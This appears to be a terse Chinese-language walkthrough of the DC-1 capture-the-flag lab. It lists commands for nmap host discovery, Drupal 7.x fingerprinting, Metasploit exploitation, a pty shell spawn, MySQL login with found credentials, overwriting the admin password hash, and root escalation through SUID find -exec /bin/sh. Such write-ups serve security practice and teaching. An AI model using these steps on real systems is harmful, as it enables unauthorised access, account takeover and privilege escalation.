1.主机发现
namp -sP 10.3.139.0/24
2.指纹收集
whatweb 10.3.139.96
3.目录爆破
4.根据版本查询相应漏洞
根据版本可查出Drupa7.x存在远程代码执行漏洞
5.使用msf进行漏洞利用
DC-1一共有5个flag
flag1
flag2
flag3
需要登录数据库查找
python -c 'import pty;pty.spawn("/bin/bash")'
登录数据库—替换密码
mysql -udbuser -pR0ck3t
show databases; //查询库
use drupaldb; //进入库
show tables; //查表
select * from users; //查users字段内容
更改uid 1 密码
php scripts/password-hash.sh 123.com //生成密码123.com
mysql -udbuser -pR0ck3t
show databases; //查询库
use drupaldb; //进入库
update users set pass="$S$DsWoJrlrM2TOlo1/2WE9AFvrHzE4cV703wz3tpbBXGxCYwT6iSex" where uid=1; //修改密码
flag4
flag5
查看find命令是和权限
find test -exec “whoami” \;
使用find命令调用/bin/bash
find test -exec “/bin/sh” \;
cd /root
ls
cat thefinalflag.txt